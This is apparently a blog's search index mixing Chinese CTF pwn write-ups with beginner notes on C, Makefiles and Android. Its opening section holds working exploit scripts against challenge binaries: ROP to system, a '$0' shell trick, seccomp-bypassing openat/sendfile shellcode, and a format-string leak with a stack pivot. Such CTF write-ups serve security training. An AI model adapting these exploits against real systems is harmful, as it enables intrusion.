is:",buf_sta)get_pwn(buf_sta)\n","categories":["wp"],"tags":["pwn"]},{"title":"qwb","url":"/2024/11/24/wp/qwb/","content":""},{"title":"wdb","url":"/2024/11/24/wp/wdb/","content":""},{"title":"2024源鲁杯","url":"/2024/10/25/wp/yl/","content":"pwnweek1giaopwn64位无脑栈溢出,通过vuln中的read函数像buf中写入大量数据,超出buf变量的长度导致rbp和返回地址被覆盖。\n通过栈溢出漏洞劫持执行流,通过pop_rdi将cat flag字符串弹入rdi寄存器作为system参数,然后返回执行system函数。\n加的ret指令是为了栈平衡。\nexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfr()pop_rdi=0x0000000000400743ret=0x00000000004004fesystem=0x4006D2cat_flag=0x601048payload=b'\\x00'*40+p64(pop_rdi)+p64(cat_flag)+p64(ret)+p64(system)s(payload)ia()\n\n\nezstackmain函数会返回到stack函数执行,stack函数中存在栈溢出。\n发现vuln中存在system函数,并且将输入的内容作为system函数的参数执行。\n但是对输入的内容做了过滤,如果内容中包含s、h、c、f 等字符则报错返回。\n所以我们要拿到shell,必须输入一个不被过滤的字符。\nexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfoff=56#ret用于平栈ret=0x000000000040101apayload=b'\\x00'*off+p64(ret)+p64(elf.sym.vuln)sl(payload)#$0也可以获取shellsla("command\\n",b"$0")ia()\n\nezorw沙箱题\n禁止了read、write、open、readv、writev、execveat等系统调用。\n常规的orw并不奏效,但是我们可以通过openat和sendfile来读取flag\n line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013 0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013 0006: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0013 0007: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0013 0008: 0x15 0x04 0x00 0x00000013 if (A == readv) goto 0013 0009: 0x15 0x03 0x00 0x00000014 if (A == writev) goto 0013 0010: 0x15 0x02 0x00 0x00000142 if (A == execveat) goto 0013 0011: 0x15 0x01 0x00 0x0000024f if (A == 0x24f) goto 0013 0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0013: 0x06 0x00 0x00 0x00000000 return KILL\n\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elf#通过openat系统调用打开flag文件,返回描述符3#通过sendfile系统调用将文件描述符3对应的文件内容从偏移0开始发送到文件描述符1shellcode=asm(shellcraft.openat(0,'/flag')+shellcraft.sendfile(1,3,0,0x100))payload=asm(shellcode)r()sl(payload)ia()\n\nezfmtexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elflibc=ELF("./libc-2.31.so")vuln=0x40120Dpayload=b"%13$p%15$p".ljust(0x28,b"a")+p64(vuln)s(payload)ru("welcome to YLCTF\\n")base=int(r(14),16)stack=int(r(14),16)print("base:",hex(base))print("stack:",hex(stack))base=base-0x024083stack=stack-0x000120 print(hex(base))print(hex(stack))pop_rdi=0x4012b3system=base+libc.sym.systemsh=base+next(libc.search(b"/bin/sh\\x00"))leave_ret=0x401241payload=p64(pop_rdi)+p64(sh)+p64(system)+p64(0)+p64(stack)+p64(leave_ret)s(payload)ia()\n\n\n\nweek2week3reweek1week2week3","categories":["wp"],"tags":["赛后复现"]},{"title":"Reverse.Kr","url":"/2024/10/25/wp/reverse-kr/","content":"Easy Crack运行程序随意输入信息\n返回错误\n根据错误信息字符串定位内部输入判断的位置\n发现判断条件\n动态调试\n使输入满足判断条件\nEasy Keygen文档给出了序列号,分析它所对应的名称\n逆向分析代码逻辑发现,输入的名称会经过加密算法生成序列号\n我们需要根据序列号逆向算法得出名称\n分析加密算法发现,它将输入的名称与一个char数组进行异或,并输出异或结果的十六进制为序列号\n异或数组产生溢出,值分别为0x10,0x20,0x30\n将序列号进行异或并转换为字符得出名称\n5B 13 49 77 13 5E 7D 1310 20 30 10 20 30 10 20K 3 y g 3 n m 3\n","categories":["wp"]},{"title":"C chapter1 基本概念","url":"/2024/10/24/program/c/c-ptr-1/","content":"前言\n本文程序开发基于 Ubuntu 环境下的 gcc 编译器。\n\n本着没整理就是没学习的原则,菜鸡的我又来学 C 了。\n前面学 C 都是学到在 CTF 中够用就行了,不过这次打算一定要把 C 研究透。\n基本结构C 中一个程序最基本的结构就是头文件和主函数,以下列代码为例。\n头文件就是使用#include包含的库文件,即stdio.h这样。\n以下库文件就是最常用的库stdio.h库,因为它是输入输出标准库,我们要调用其中函数输入输出内容。\n主函数就是main函数,是程序的入口函数,笼统的说程序从这里开始执行。\n我们需要将以下代码保存为后缀名为.c的源文件,然后使用 gcc 编译器进行编译。\n\n经典程序 Hello,world!\n\n利用stdio.h标准输入输出库中的printf函数输出文本。\n输出的文本中\\n 是一个转义字符表示换行。\n下面这行程序输出一行指定文本\n#include <stdio.h>int main(){\tprintf("Hello,world\\n");\treturn 0;}//运行结果Hello,world\n\nprintf函数用于格式化输出到标准输出(屏幕)。\n其基本语法如下:\n#include <stdio.h>int printf(const char *format,...)\n\n函数括号中的是函数参数。\n\nprintf参数\nformat:格式化字符串,用于指定输出的格式。格式化符号如%d、%f、%s等用于显示不同类型的数据。\n%d:表示输出整数\n%f:表示输出浮点数\n%c:表示输出字符\n%s:表示输出字符串\n\n\n...可变参数,根据format字符串中指定的格式进行匹配。\n\n字符字符规则就像英语中的拼写规则,决定你在源程序中如何形成单独的字符片段,也就是标记(token)。\n一个 ANSI C 程序由声明和函数组成。函数定义了需要执行的工作,而声明则描述了函数和(或)函数将要操作的数据类型(有时候是数据本身)。\n标准规定 C 字符集必须包括英语所有的大写和小写字母,数字 0 到 9,以及下面这些符号:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n!\n“\n#\n%\n‘\n()\n+\n,\n-\n.\n/\n?\n\n\n;\n<>\n=\n?\n[]\n\\\n^\n_\n{}\n|\n~\n\n\n\n三字母词\n三字母词(trigrph),三字母词就是几个字符的序列,合起来表示另一个字符。三字母词使 C 环境可以在某些缺失一些必需的字符的字符集上实现。\n常见三字母词:\n\n\n\n\n\n\n\n\n\n??( [\n??< {\n??= #\n\n\n??) ]\n??> }\n??/ \\\n\n\n??! |\n??’ ^\n??- ~\n\n\n两个问号开头再尾随一共字符一般不会出现在其它表达式中,所以把三字母词用这种形式来表示,这样就不致于引起误解。\n\n\n\n\n当你编写某些 C 代码时,你在一些上下文环境里想使用某个特定的字符,却可能无法如愿,因为该字符在这个环境里有特别的意义。例如,双引号 “ 用于界定字符串常量,你如何在一个字符串常量内部包含一共双引号呢?这个适合就需要通过转义字符了。\n转义字符C 语言的转义字符用于表示那些不能直接在字符串中输入的字符。\n常见的转义字符包括:\n\n\n\n符号\n含义\n\n\n\n\\‘\n单引号\n\n\n\\“\n双引号\n\n\n\\?\n问号\n\n\n\\\\\n反斜线\n\n\n\\a\n响铃\n\n\n\\b\n退格\n\n\n\\f\n分页符\n\n\n\\n\n换行\n\n\n\\r\n回车\n\n\n\\t\n水平制表符\n\n\n\\v\n垂直制表符\n\n\n标识符标识符(indentifier)就是变量、函数、类型等的名字。它们由大小写字母、数字和下划线组成,但不能以数字开头。\nC 是一种大小写敏感的语言,所以 abc、Abc、abC 和 ABC 是 4 个不同的标识符。\n标识符的长度没有限制,但标准允许编译器忽略第 31 个字符以后的字符。标准同时允许编译器对用于表示外部名字(也就是由链接器操纵的名字)的标识符进行限制,只识别前六位不区分大小写的字符。\n下列 C 语言关键字是被保留的,它们不能作为标识符使用:\n\n\n\n\n\n\n\n\n\n\n\nauto\ndo\ngoto\nsigned\nunsigned\n\n\nbreak\ndouble\nif\nsizeof\nvoid\n\n\ncase\nelse\nint\nstatic\nvolatile\n\n\nchar\nenum\nlong\nstruct\nwhile\n\n\nconst\nextern\nregister\nswitch\ncontinue\n\n\nfloat\nreturn\ntypedef\ndefault\nfor\n\n\nshort\nunion\n\n\n\n\n\n注释注释用于在代码中添加说明文字,帮助他人理解代码的功能和意图。\n注释不会被编译器执行,因此不会影响程序的运行。\nC 语言支持两种类型的注释:\n单行注释\n//这是单行注释\n多行注释\n/*这是多行注释*/\n\n注意:注释不能够嵌套使用\n\n定义变量这里我们只介绍基本整型变量,详细的后面会讲述。\n常见的变量类型有:\n\nchar:一般用于表示单个字符\nshort:占两个字节的整型\nint:占四个字节的整型\nlong:至少2个字节,可能是4个字节。\n\n以下代码声明了一个int型的变量并初始化值为 10。\n利用printf格式化函数输出变量。\n实例\nint main(){\tint a=10;\tprintf("%d",a);\treturn 0;}\n\nscanf函数前面的printf函数用于输出内容,这里的scanf函数用于输入内容。\n既然要输入内容,那么输入的内容就必须要有地方存储。\n我们采用上面提到的变量来存储它。\n#include <stdio.h>int scanf(const char *format,...)\n\n参数\nformat:格式化字符串,用于指定输入的数据类型。\n常用格式化符号\n%d:整数\n%f:浮点数\n%c:字符\n%s:字符串\n\n\n...可变参数,用于存储输入的数据。每个变量应对应格式化字符串中的格式符。\nscanf参数变量前必须加&。\n\n\n\n\n\n示例\n下面代码定义了一个int变量 a 用于接收输入内容。\n然后利用printf函数将输入的内容打印出来。\nint main(){\tint a;\tscanf("%d",&a);\tprintf("%d\\n",a);\treturn 0;}\n\n\n计算两数之和以下程序定义了 3 个变量。\n先利用printf函数输出提示信息。\n通过scanf函数输入两个数,然后计算两个数的和存储到第三个变量。\n之后利用printf格式化输出将和输出。\n#include <stdio.h>int main(){ int a,b,sum; printf("请输入两个数字\\n"); scanf("%d %d",&a,&b); sum=a+b; printf("sum = %d\\n",sum); return 0;}\n\nMakefileMakefile 是一种自动化构建工具的配置文件,通常用于管理和自动化编译程序的过程。它定义了如何从源代码生成目标文件,以及在目标文件发送变化时如何重新构建这些文件。以下是 Makefile 的基本概念:\n\n目标(Target):需要生成的文件,如可执行文件或中间文件。目标通常是文件名,如hello。\n依赖(Dependency):目标文件生成所依赖的源文件或其它目标文件。例如,hello依赖于main.o和printhello.o。\n规则(Rule):指定如何从依赖文件生成目标文件的命令。规则通常包括目标文件、依赖文件以及执行的命令。\n变量(Variable):用于定义可重复使用的值,如编译器或编译选项。变量简化了 Makefile 的编写和维护。例如,C=gcc。\n伪目标(Phony Target):不代表实际文件的目标,如clean,用于执行特定的操作,如删除生成的文件。\n\n在 Linux 下进行 C 语言程序开发我们离不开 Makefile,Makefile 可以提升我们管理代码和编译代码的效率,可以避免重复工作。\n我们利用 Makefile 来编译上述程序\n使用 Makefile 的前提是系统上要安装 make 工具。\nUbuntu下可以执行如下命令安装。\napt install make\n\n#规则:sum:main.c#依赖:main.c#命令:gcc - sum main.csum: main.c gcc -o sum main.c.PHONY:clean#伪目标:.PHONY:clean#规则:clean 执行下列命令clean: rm -r sum\n\n将 Makefile 保存到代码文件目录命名为 Makefile。\n然后使用make命令进行编译。\n直接在命令行执行 make 命令即可。\n对于上述 Mkaefile我们也可以写成下面这样,增加通用性。\n#变量C=gccTARGET=sumOBJ=main.c#规则:目标:依赖#命令:$(C)替换为gcc,$@ 代表目标文件名,$^ 代表所有依赖文件$(TARGET):$(OBJ)\t$(C) -o $@ $^#伪目标:删除生成的目标文件.PHONY:cleanclean:\trm -f $(TARGET)\n\n上面的 Makefile 可以通过使用 make clean命令清理掉编译后的可执行文件,便于重新编译。\n这些都是比较简单的,随着对 C 的学习我们还会编写更复杂的 Makefile。\n","categories":["编程"],"tags":["C"]},{"title":"Android chapter1","url":"/2024/10/27/program/android/and-1/","content":"\n第一行代码读书笔记\n\n简介Android系统架构Android大概可以分为四层架构:Linux内核层、系统运行库层、应用框架层和应用层。\n\nLinux内核层\n\nAndroid 系统是基于 Linux 内核的,这一层位 Android 设备的各种硬件提供了底层的驱动,如显示驱动、音频驱动、照相机驱动、蓝牙驱动、Wi-Fi驱动、电源管理等。\n\n系统运行库层\n\n这一层通过一些C/C++库来为 Android 系统提供了主要的特性支持。如 SQLite 库提供了数据库的支持,OpenGL|ES 库提供了 3D 绘图的支持,Webkit 库提供了浏览器内核的支持等。\n同样在这一层还有 Android 运行时库,它主要提供了一些核心库,能够运行开发者使用 Java 语言来编写 Android 应用。另外 Android 运行时库中还包含了 Dalvik 虚拟机(5.0 系统之后改为 ART 运行环境),它使得每一个 Android 应用都能运行在独立的进程当中,并且拥有一个自己的 Dalvik 虚拟机实例。相较于 Java 虚拟机,Dalvik 是专门为移动设备定制的,它针对手机内存、CPU 性能有限等情况做了优化。\n\n应用框架层\n\n这一层主要提供了构建应用程序时可能用到的各种 API,Android 自带的一些核心应用就是使用这些 API 完成的,开发者也可以通过使用这些 API 来构建自己的应用程序。\n\n应用层\n\n所有安装在手机上的应用都是属于这一层的,比如系统自带的联系人、短信等程序,也包括你自己开发的程序。\n\nAndroid已发布的版本\n2011年2月,谷歌发布了 Android 3.0系统,是专门为平板电脑设计的,但也是 Android 位数不多的比较失败的版本。\n\n2011年10月,谷歌发布了 Android 4.0系统,这个版本不再对手机和平板进行差异化区分。\n\n2015年 Google I/O 大会上推出了号称史上版本改动最大的 Android 5.0 系统,其中使用了 ART 运行环境替代了 Dalvik 虚拟机,大大提升了应用的运行速度,还提出了 Material Design 的概念来优化应用的界面设计。除此之外,还推出了 Android Wear、Android Auto、Android TV 系统,从而进军可穿戴设备、汽车、电视等全新领域。\n\n2015年 Google I/O 大会上推出了 Android 6.0系统,加入运行时权限功能。\n\n2016年 Google I/O 大会上推出了 Android 7.0系统,加入多窗口模式功能。\n\n\nAndroid应用开发特色\n四大组件\n\nAndroid 系统四大组件分别是活动(Activity)、服务(Service)、广播接收器(Broadcast Receiver)和内容提供器(Content Provider)。其中活动是所有 Android 应用程序的门面,凡是在应用中你看到的东西,都是放在活动中的。而服务就比较低调了,你无法看到它,但它会一直在后台默默地运行,即使用户退出了应用,服务仍然是可以继续运行的。广播接收器允许你的应用接收来自各处的广播消息,比如电话、短信等,当然你的应用同样也可以向外发出广播消息。内容提供器则为应用程序之间共享数据提供了可能,比如你想要读取系统电话本中的联系人,就需要通过内容提供器来实现。\n\n丰富的系统控件\n\nAndroid 系统为开发者提供了丰富的系统控件,使得我们可以很轻松地编写出漂亮的界面。当如如果你品位高,不满足于系统自带的控件效果,也完全可以定制属于自己的控件。\n\nSQLite数据库\n\nAndroid 系统还自带了这种轻量级、运算速度极快的嵌入式关系型数据库。它不仅支持标准的 SQL 语法,还可以通过 Android 封装好的 API 进行操作,让存储和读取数据变得非常方便。\n\n强大的多媒体\n\nAndroid 系统还提供了丰富的多媒体服务,如音乐、视频、录音、拍照、闹铃,等等,这一切你都可以在程序中通过代码进行控制,让你的应用变得更加丰富多彩。\n\n地址位置定位\n\n移动设备和 PC 相比起来,地理位置定位功能应该可以算术很大的一个亮点。现在的 Android 手机都内置有 GPS,走到哪儿都可以定位到自己的位置,发挥你的想象既可以做出创意十足的应用,如果再结合功能强大的地图功能,LBS 这一领域潜力无限。\n环境搭建需要准备的工具\nJDK。JDK是 Java 语言的软件开发工具包,它包含了 Java 的运行环境、工具集合、基础类库等内容。\n\nAndroid SDK。Android SDK 是谷歌提供的 Android 开发工具包,在开发 Android 程序时,我们需要通过引入该工具包,来使用 Android 相关的 API。\n\nAndroid Studio。在很早之前,Android 项目都是用 Eclipse 来开发的,相信所有 Java 开发者都一定会对这个工具非常熟悉,它是 Java 开发神器,安装 ADT 插件后就可以用来开发 Android 程序了。而在 2013 年的时候,谷歌推出了一款官方的 IDE 工具 Android Studio,由于不再是以插件的形式存在,Android Studio 在开发 Android 程序方面远比 Eclipse 强大和方便得多。\n\n\n搭建开发环境上述软件我们并不需要一个一个的进行安装,谷歌为了简化搭建开发环境的过程,将大量需要用到的工具都帮我们集成好了,到 Android 官网就可以下载最新的开发工具 Android Studio,下载地址是:\n在安装 Android Studio 之前,我们需要先安装 JDK,因为 Android Studio 和 Android 应用开发都依赖于 Java。安装完 JDK 后,我们再安装 Android Studio,安装过程中可以选择安装 SDK。\n安装完 JDK 和 Android Studio后我们也就搭建好了基本的开发环境。\n项目创建创建第一个项目\n目前,大量 Android 程序采用 Kotlin 开发。相比 Java,Kotlin 在 Android 开发中更为强大,但严格来说它是 Java 的超集,具备与 Java 的高度兼容性。因此,在学习 Kotlin 之前,掌握 Java 基础是必要的。\n\n\n在最新的 Android Studio 中创建 Java 项目。\n\n选择 new project新建一个Java项目,然后选择No Activity,给项目起一个名称为Hello World。\n其中Package name表示项目的包名,然后选择Finish即可。\n\nAPP目录结构\n\n\nmanifests\n\n这个目录用于存放AndroidManifest.xml文件,AndroidManifest.xml文件是整个项目的配置文件,程序中定义的所有四大组件都需要在这个文件里注册。\n\njava\n\nJava目录是防止我们所有代码的地方。\n\nres\n\n项目中使用到的所有图片、布局、字符串等资源都要存放在这个目录下。当然这个目录下还有许多子目录,图片放在drawable目录下,布局放在layout目录下,字符串放在values目录下。\n\n给项目创建Activity。\n\n右击项目中的com.example.helloworld,选择New,然后选择Activity,最后选择Empty Views Activity。\n之后com.example.helloworld下就会多一个MainActivity,接下来我们需要修改activity_main.xml与AndroidMaiifest.xml文件。\n\nactivity_main.xml文件位于res/layout文件夹中,用于定义主界面的布局。它描述了界面上的 UI 元素(如按钮、文本视图等)以及它们的排列方式,是在运行时展现给用户的界面内容。AndroidManifest.xml是应用的配置文件,定义了应用的基本信息(如包名、应用组件、权限等)。它位于mainifests目录下,告诉系统应用包含的组件以及如何与系统和其他应用交互。\n\n找到activity_main.xml文件,然后点击右上角的CODE,然后添加以下代码。\n下面这段xml代码定义了一个TextView控件,它使用ConstraintLayout的约束方式,将控件居中于父布局中。\n<TextView android:id="@+id/helloTextView" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Hello, World!" android:textSize="24sp" app:layout_constraintBottom_toBottomOf="parent" app:layout_constraintTop_toTopOf="parent" app:layout_constraintStart_toStartOf="parent" app:layout_constraintEnd_toEndOf="parent"/>\n\n我们用它来显示Hello World!\n之后我们再修改AndroidManifest.xml文件,插入下面的代码。\n下面的代码表示对MainActivity这个活动进行注册,没有在AndroidManifest.xml里注册的活动是不能使用的。\n下面代码中的android.intent.action.MAIN与android.intent.category.LAUNCHER表示MainActivity是这个项目的主活动,在手机上点击应用图标,首先启动的就是这个活动。\n<activity android:name="com.example.helloworld.MainActivity" android:exported="true"> <intent-filter> \t <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter></activity>\n\n接下来我们分析一下MainActivity这个主活动的代码\npublic class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); EdgeToEdge.enable(this); setContentView(R.layout.activity_main); }); } }\n\n首先可以看到MainActivity是继承自AppCompatActivity的,这是一种向下兼容的Activity,Activity是Android系统提供的一个活动基类,我们项目中的所有活动都必须继承它或者它的子类才能拥有活动的特性(AppCompatActivity是Activity的子类)。然后可以看到,MainActivity中有一个onCreate()方法,这个方法是一个活动被创建时必定要执行的方法,其中只有两行代码,并没有Hello World!。\n因为Android程序的设计讲究逻辑和视图分离,因此是不直接在活动中直接编写界面的,更加通用的方法是在布局文件中编写界面,然后在活动中引入进来,可以看到,在onCreate方法的第二行调用了setContentView()方法,就是这个方法给当前的活动引入了一个activity_main的布局。\n布局文件都是定义在res/layout目录下的,当你展开layout目录,你好看到activity_main.xml这个文件。\n这个文件中有一个我们上面插入的TextView,这是Android系统提供的一个控件,用于在布局中显示文字的。\n详解项目中的资源res目录\n\n所有以drawable开头的文件夹都是用来放图片的\n所有以mipmap开头的文件夹都是用来放应用图标的\n所有以values开头的文件夹都是用来放字符串、样式、颜色等配置的\nlayout文件夹是用来放布局文件的。\n\n程序中一般会有很多mipmap开头的文件夹,起始主要是为了让程序能够更好地兼容各种设备。\n知道了res目录下每个文件夹的含义,我们来看一下如何去使用这些资源。\n打开res/values/strings.xml文件,内容如下所示:\n<resources> <string name="app_name">Hello World</string> </resources>\n\n可以看到,这里定义了一个应用程序名的字符串,我们有如下两种方式来引用它\n\n在代码中通过R.string.hello_world可以获得该字符串的引用\n在XML中通过@string/hello_world可以获得该字符串的引用\n\n基本的语法就是上面这两种方式,其中string部分是可以替换的,如果是引用的图片资源就可以替换成drawable,如果是引用的应用图标就可以替换成mipmap,如果是引用的布局文件就可以替换成layout,以此类推。\n下面举一个简单的例子来帮助理解,打开AndroidManifest.xml文件,查看。\n<application android:allowBackup="true" android:dataExtractionRules="@xml/data_extraction_rules" android:fullBackupContent="@xml/backup_rules" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.HelloWorld" tools:targetApi="31"> <activity android:name="com.example.helloworld.MainActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> \n\n其中项目的应用图标就是通过android:icon属性来指定的,应用的名称则是通过android:label属性指定的。\n启动模拟器运行但是我们使用电脑开发并无法直接运行 Android程序,Android程序是要运行在Android系统上的,Android Studio提供了内置模拟器,我们可以通过模拟器运行 Android 程序。\n创建模拟器后我们只需要点击右上角的运行,既可运行Android程序。\n日志工具的使用使用Android的日志工具LogAndroid 中的日志工具类是 Log(android.uril.Log),这个类中提供了如下 5 个方法来供我们打印日志。\n\nLog.v()。用于打印那些最为琐碎的、意义最小的日志信息。对应级别 verbose,是 Android 日志里面级别最低的一种。\nLog.d()。用于打印一些调试信息,这些信息对你调试程序和分析问题应该是有帮助的。对应级别 debug,比 verbose 高一级。\nLog.i()。用于打印一些比较重要的数据,这些数据应该是你非常想看到的、可以帮你分析用户行为数据。对应级别 info,比 debug 高一级。\nLog.w()。用于打印一些警告信息,提示程序在这个地方可能会有潜在的风险,最好区修复一下这些出现警告的地方。对应级别 warn,比 info 高一级。\nLog.e()。用于打印程序中的错误信息,比如程序进入到了 catch 语句当中。当有错误信息打印出来的时候,一般都代表你的程序出现严重问题了,必须尽快修复。对应级别 error,比 warn 高一级。\n\n起始很简单,一共就 5 个方法,当然每个方法还会有不同的重载,但那对你来说\n为什么使用Log而不使用System.out为什么在Android中会偏向于使用Log而不是使用System.out.println,这是因为Log和System.out相比,可以控制日志打印、可以设定打印时间、可以添加过滤器,并且对日志有所区分比如Eroor信息和Debug信息,总结就是功能更加强大。\n我们可以通过快捷输入的方式在Android Studio中快速使用Log,比如在代码中输入logd然后按tab补全会自动补全一条完整的打印语句,同理输入logi对应info级别的日志,logw对应warn级别的日志,以此类推。\n另外,由于Log的所有方法都要求传入一个tag参数,每次写一遍显然太过麻烦,我们可以在onCreate()方法的外面输入logt,然后按下tab键,这时就会以当前的类名作为值自动生成一个tag常量。\n除了快捷输入之外,logcat中还能很轻松地添加过滤器。\n","categories":["编程"],"tags":["读书笔记","java","android"]},{"title":"C的面向对象编程","url":"/2024/10/25/program/c/c-oop/","content":"关于C面向对象编程的研究。\n前段时间在知乎上看到一篇文章,一个大佬说面向对象是一种思想,用C也可以写出很好的面向对象的程序。\n\n文章链接: https://www.zhihu.com/question/30567850/answer/2602179225\n\n于是让我产生了一点好奇,所以就研究了一下C如何进行面向对象编程。\n通过结构体和函数指针来模拟面向对象编程。\n#include <stdio.h>#include <stdlib.h>#include <string.h>// 定义一个结构体,模拟一个类typedef struct Person { char name[50]; int age; // 成员函数(通过函数指针实现) void (*setName)(struct Person*, const char*); void (*setAge)(struct Person*, int); void (*display)(const struct Person*);} Person;// 成员函数的实现void setName(Person* p, const char* name) { strncpy(p->name, name, sizeof(p->name) - 1); p->name[sizeof(p->name) - 1] = '\\0'; // 确保字符串结束符}void setAge(Person* p, int age) { p->age = age;}void display(const Person* p) { printf("Name: %s\\n", p->name); printf("Age: %d\\n", p->age);}// 创建一个新的 Person 实例Person* createPerson(const char* name, int age) { Person* p = (Person*)malloc(sizeof(Person)); if (p != NULL) { p->setName = setName; p->setAge = setAge; p->display = display; p->setName(p, name); p->setAge(p, age); } return p;}// 释放 Person 实例void destroyPerson(Person* p) { free(p);}int main() { // 使用模拟的面向对象方式 Person* person = createPerson("Alice", 30); person->display(person); // 修改对象的属性 person->setName(person, "Bob"); person->setAge(person, 25); person->display(person); // 清理 destroyPerson(person); return 0;}\n","categories":["编程"],"tags":["C"]},{"title":"C chapter2 数据","url":"/2024/10/27/program/c/c-ptr-2/","content":"基本数据类型在 C 语言中,仅有 4 种基本数据类型——整型、浮点型、指针和聚合类型(如数组和结构等)。所有其他的类型都是从这 4 种基本类型的某种组合派生而来。\n整型整型包括字符、短整型和长整型,它们都分为有符号(singed) 和无符号(unsigned) 两种版本。\n长整型至少应该和整型一样长,而整型至少应该和短整型一样长。\n\n注意:标准并没有规定整型必须比短整型长,只是规定它不得比短整型短。\n\n变量的最小范围:\n\n\n\n类型\n最小范围\n\n\n\nchar\n0~127\n\n\nunsigned char\n0~255\n\n\nshort\n-32767~32767\n\n\nunsigned short\n0~65535\n\n\nint\n-32767~32767\n\n\nunsigned int\n0~65535\n\n\nlong\n-2147483647~2147483647\n\n\nunsigned long\n0~4294967295\n\n\nshort int 至少 16 位,long int 至少 32 位。至于缺省(默认)的 int 究竟是 16 位还是 32 位,或者是其他值,则由编译器设计者决定。通常这个选择的缺省值是这种机器最为自然(高效)的位数。同时你还应该注意到标准也没有规定这 3 个值必须不一样。如果某种机器的环境的字长是 32 位,而且没有什么指令能够更有效地处理更短的整型值,它可能把这 3 个整型值都设定为 32 位。\n头文件 limits.h 说明了各种不同的整数类型的特点。它定义了下表所示的各个名字。limits.h 同时定义了下列名字:CHAR_BIT 是字符型的位数(至少 8 位);CHAR_MIN 和 CHAR_MAX 定义了缺省字符类型的范围,它们或者应该与 SCHAR_MIN 和 SCHAR_MAX 相同,或者应该与 0 和 UCHAR_MAX 相同;最后,MB_LEN_MAX 规定了一个多字节字符最多允许的字符数量。\n变量范围的限制:\n\n\n\n\nsigned\n\nunsigned\n\n\n\n类型\n最小值\n最大值\n最大值\n\n\n字符\nSCHAR_MIN\nSCHAR_MAX\nUCHAR_MAX\n\n\n短整型\nSHRT_MIN\nSHRT_MAX\nUSHRT_MAX\n\n\n整型\nINT_MIIN\nINT_MAX\nUINT_MAX\n\n\n长整型\nLONG_MIN\nLONG_MAX\nULONG_MAX\n\n\n尽管设计char类型变量的目的是为了让它们容纳字符型值,但字符在本质上是小整型值。缺省的char要么是signed char,要么是 unsigned char,这取决于编译器。这意味着不同机器上的char可能拥有不同范围的值。所以,只有当程序所使用的char型变量的值位于signed char和unsigned char的交集中,这个程序才是可移植的。\n\n\n\n\n\n在一个把字符当作小整型值的程序中,如果显式地把这类变量声明为signed或unsigned,可以提高这类程序的可移植性。这类做法可以确保不同的机器中在字符是否为有符号值方面保持一致。\n\n提示:当可移植问题比较重要时,字符是否为有符号数就会带来两难的境地。最佳妥协方案就是把存储于 char 型变量的值限制在signed char和 unsigned char的交集内,这可以获得最大程度的可移植性,同时又不牺牲效率。\n\n整型字面值字面值(literal) 这个术语是字面值常量的缩写——这是一种实体,指定了本身的值,并且不允许发生改变。这个特点非常重要,因为 C 标准允许命名常量的创建,它与普通变量极为类似。区别在于,当它被初始化以后,它的值便不能改变。\n当程序中出现整型字面值时,它是属于所有整型不同类型中的哪一个?答案取决于字面值是如何书写的,但是你可以在有些字面值的后面添加一个后缀来改变缺省的规则。在整数字面值后面添加字符 L 或 l,可以使这个整数倍解释为long整型值,字符 U 或 u 则用于把数值指定为 unsigned整型值。如果在一个字面值后面添加这两组字符中的各一个,那么它就被解释为unsigned long整型值。\n在源代码中,用于表示整型字面值的方法有很多。其中最自然的方式是十进制整型值,诸如:\n123 355 -234\n十进制整型字面值可能是int、long或unsigned long。在缺省情况下,它是最短类型但能完整容纳这个值。\n整型也可以用八进制来表示,只要在数值前面以 0 开头。整数也可以用十六进制来表示,它以 0x 开头。\n例:\n0123 012345 003420x32 0xffff 0xab2342\n在八进制字面值中,数字 8 和 9 是非法的。在十六进制字面值中,可以使用字母 ABCDEF 或 abcdef。八进制和十六进制字面值可能的类型是int、unsigned int、long或unsigned long。在缺省情况下,字面值的类型就是上诉类型中最短但足以容纳整个值的类型。\n另外还有字符常量。它们的类型总是int。你不能在它们后面添加unsigned或long后缀。字符常量就是一个用单引号包围起来的单个字符(或字符转义序列或三字母词),如:\n'M' '\\n' '??(' '\\377'\n标准也允许诸如 ‘abc’ 这类的多字节字符常量,但它们的实现在不同的环境中可能不一样,所以不鼓励使用。\n最后,如果一个多字节字符常量的前面有一个 L,那么他就是宽字符常量(wide characterliteral)。\n如:\nL'X' L'e^'\n当运行时环境支持一种宽字符集时,就有可能使用它们。\n\n提示:整型字面值采用何种书写方式,应该取决于这个字面值使用时的上下文环境\n\n当一个字面值用于确定一个字中某些特定位的位置时,将它写成十六进制或八进制更为合适,因为这种写法更清晰地显示了这个值的特殊本质。\n例如,983040 这个值在第 16~19 位都是1,如果它采用十进制写法,你绝对看不出这一点。但是,如果将它写成十六进制的形式,它的值就是 0XF00,清晰地显示出那几位都是 1 而剩余的位都是 